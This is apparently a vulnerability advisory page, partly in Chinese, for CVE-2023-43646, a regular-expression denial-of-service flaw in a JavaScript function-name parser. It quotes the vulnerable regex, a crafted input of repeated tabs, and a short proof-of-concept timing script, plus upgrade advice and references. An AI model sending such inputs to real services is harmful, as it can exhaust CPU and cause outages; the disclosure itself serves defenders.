CVE-2023-43646

描述

The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows: ```js const functionNameMatch = /\s*function(?:\s|\s*\/\*[^(?:*/)]+\*\/\s*)*([^\s(/]+)/; ``` This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input: ```js '\t'.repeat(54773) + '\t/function/i' ``` Here is a simple PoC code to demonstrate the issue: ```js const protocolre = /\sfunction(?:\s|\s/*[^(?:*\/)]+*/\s*)*([^\(\/]+)/; const startTime = Date.now(); const maliciousInput = '\t'.repeat(54773) + '\t/function/i' protocolre.test(maliciousInput); const endTime = Date.now(); console.log("process time: ", endTime - startTime, "ms"); ```

如何修補 CVE-2023-43646

要修補 CVE-2023-43646,請將受影響套件升級到下列已修補版本。

• —未列出修補版本
• —升級至 2.0.1 或更新版本

CVE-2023-43646 正在被利用嗎?

低 — EPSS 為 1.4%,目前沒有觀察到大規模利用活動。

受影響套件(2)

• from 0
• from 0, < 2.0.1

CVSS 分數

參考連結(6)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2023-43646
• ADVISORYsecurity-tracker.debian.org/tracker/CVE-2023-43646
• PATCHgithub.com/chaijs/get-func-name
• WEBgithub.com/chaijs/get-func-name/blob/78ad756441a83f3dc203e50f76c113ae3ac017dc/index.js#L15